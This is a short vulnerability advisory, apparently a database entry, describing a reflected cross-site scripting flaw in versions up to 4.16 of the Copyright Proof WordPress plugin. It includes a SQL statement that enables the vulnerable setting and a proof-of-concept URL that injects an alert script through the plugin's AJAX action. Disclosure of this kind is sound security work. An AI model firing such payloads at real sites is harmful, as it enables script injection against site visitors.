Copyright Proof <= 4.16 - Reflected Cross-Site-Scripting

2022-07-0700:00:00

cydave

158

reflected cross-site-scripting

database update

wordpress plugin

exploit mitigation

EPSS

0.001

Percentile

36.8%

JSON

The plugin does not sanitise and escape a parameter before outputting it back via an AJAX action available to both unauthenticated and authenticated users, leading to a Reflected Cross-Site Scripting when a specific setting is enabled.

To make it easier to verify the vulnerability without the need of registering an account within the plugin's settings, set the "dprv_record_IP" option to "on" in the database:
UPDATE wp_options SET option_value = 'on' WHERE option_name = 'dprv_record_IP';

https://example.com/wp-admin/admin-ajax.php?action=dprv_log_event&message=%3Cscript%3Ealert(`xss`)%3C/script%3E

EPSS

0.001

Percentile

36.8%

JSON

Related for WPEX-ID:AF4F459E-E60B-4384-AAD9-0DC18AA3B338